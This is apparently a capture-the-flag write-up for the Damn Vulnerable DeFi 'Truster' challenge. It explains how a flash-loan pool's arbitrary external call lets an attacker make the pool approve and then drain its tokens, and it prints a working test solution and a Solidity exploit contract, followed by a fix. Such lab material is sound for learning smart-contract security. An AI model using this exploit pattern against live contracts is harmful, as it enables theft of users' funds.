A lending pool has 1 million DVT tokens and is offering flash loans. Our task is to drain the pool of all funds. The title of the challenge has a little hint in it, too much trust in the smart contract world is a road to a lot of pain. But I’m getting ahead of myself, let’s take a look at the contract:

We see that there is a flash loan function that sends over some tokens to the borrower that gets passed in. After sending tokens in, a functionCall is made to the target with arbitrary data that is passed in. Finally, the contract checks to make sure the tokens have been returned and then the flashLoan function completes.
The issue here lies with the target.functionCall, which gets called with any arbitrary data that is passed in by the sender. This means that ANY function can be called on ANY target address. This seems like an issue, so we can investigate further - but first, let’s learn a bit about how ERC20 works.
The ERC20 specification has a special approve function that allows addresses to specify that other addresses are allowed to spend tokens on their behalf. This is a technique that a large number of smart contracts in the DeFi space take advantage of. The flow goes something like this:
User approves Contract A to spend 10 tokens
Contract A can then transfer 10 tokens from the user to itself
After transferring the tokens, the approval is taken back to 0 automatically
Without approve, smart contracts would not be able to take tokens from users wallets to perform transactions. As an example, Uniswap needs this functionality to pull funds from the users wallet to perform a swap.
Now that we understand how approve works, we’re ready to jump back in to the solution. The approve function of ERC20 is implemented like this:

The function takes two arguments, the spender and the amount which will be approved. The account that funds are approved from is the msg.sender.
In solidity, when an external call is made from one contract to another, the msg.sender in the receiving contract is the calling contract (not the initiator of the transaction). We can take advantage of this fact to get the contract to approve spending of its own tokens by some outside account such as our player. After that, the player can simply call transferFrom on the token to retrieve the funds. Here is the implementation
it('Execution - multi transaction', async function () {
/** CODE YOUR SOLUTION HERE */
const tokenInterface = new Interface([
"function approve(address spender, uint256 amount) public returns (bool)"
])
await pool.flashLoan(
0, // Borrow nothing
player.address, // borrower
token.address, // target
tokenInterface.encodeFunctionData('approve(address,uint256)', [
player.address, TOKENS_IN_POOL
]) // data
);
// Now, the player is approved and can transfer funds
await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
});
The test case now passes as expected.
Alright, similar to the previous challenge, we’d like to complete this in one single transaction. Note that our current solution performs two transactions, a flashLoan and then a transferFrom. To do these in one transaction, we’ll need the help of an intermediate contract. I’ve written one that looks like this
contract TrusterExploiter {
function exploit(address tokenAddress, address poolAddress, address playerAddress) public {
TrusterLenderPool pool = TrusterLenderPool(poolAddress);
DamnValuableToken token = DamnValuableToken(tokenAddress);
// 1. Approve this contract to spend all of the pools tokens
pool.flashLoan(
0, // Borrow nothing from the pool
address(this),
tokenAddress,
abi.encodeWithSelector(
IERC20.approve.selector,
address(this),
token.balanceOf(poolAddress)
)
);
// 2. Transfer all of the pools tokens to the player
token.transferFrom(poolAddress, playerAddress, token.balanceOf(poolAddress));
}
}
In here, we see that we are effectively doing the same thing -- just in a contract function. Using this, we can make our single transaction from the test file as follows
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const exploiterFactorty = await ethers.getContractFactory('TrusterExploiter', player);
const exploiter = await exploiterFactorty.deploy();
await exploiter.exploit(token.address, pool.address, player.address);
});
The problem with this contract is that it places too much trust on the caller. It assumes the caller is not malicious, so it allows it to call any function on any contract. A fix for this bug would be to call a specified function on the target.
Cover photo:

